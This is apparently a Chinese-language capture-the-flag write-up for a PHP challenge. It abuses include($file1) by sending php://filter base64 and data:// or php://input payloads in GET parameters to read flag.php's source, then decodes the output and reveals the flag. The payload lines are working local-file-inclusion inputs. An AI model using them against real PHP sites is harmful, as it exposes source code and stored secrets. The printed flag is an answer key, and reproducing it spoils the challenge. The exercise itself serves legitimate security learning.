题目以html的形式给出了代码,但是可以看到代码的最前面出现了WRONG WAY!
结合 include("flag.php")
,可以知道这是 flag.php 的执行结果,而flag肯定在 flag.php中,我还需要拿到 flag.php 的源代码
再往下看,接收GET参数 file1和file2,如果两个参数都非空,并且file2的内容是hello ctf
,就会调用 include($file1)
,因此我们可以使用 php://filter
伪协议来读取源代码
Solutions:
file1=php://filter/read=convert.base64-encode/resource=flag.php
file2=data://text/plain,hello ctf
file2=php://input hello ctf
得到的结果解码
$ echo PD9waHAKZWNobyAiV1JPTkcgV0FZISI7Ci8vICRmbGFnID0gY3liZXJwZWFjZXs4MjJjMmZkMjA1MDc3MzJlNzkwYTJhNzE2YzBkZGRlZn0= | base64 -d
<?php
echo "WRONG WAY!";
// $flag = cyberpeace{822c2fd20507732e790a2a716c0dddef}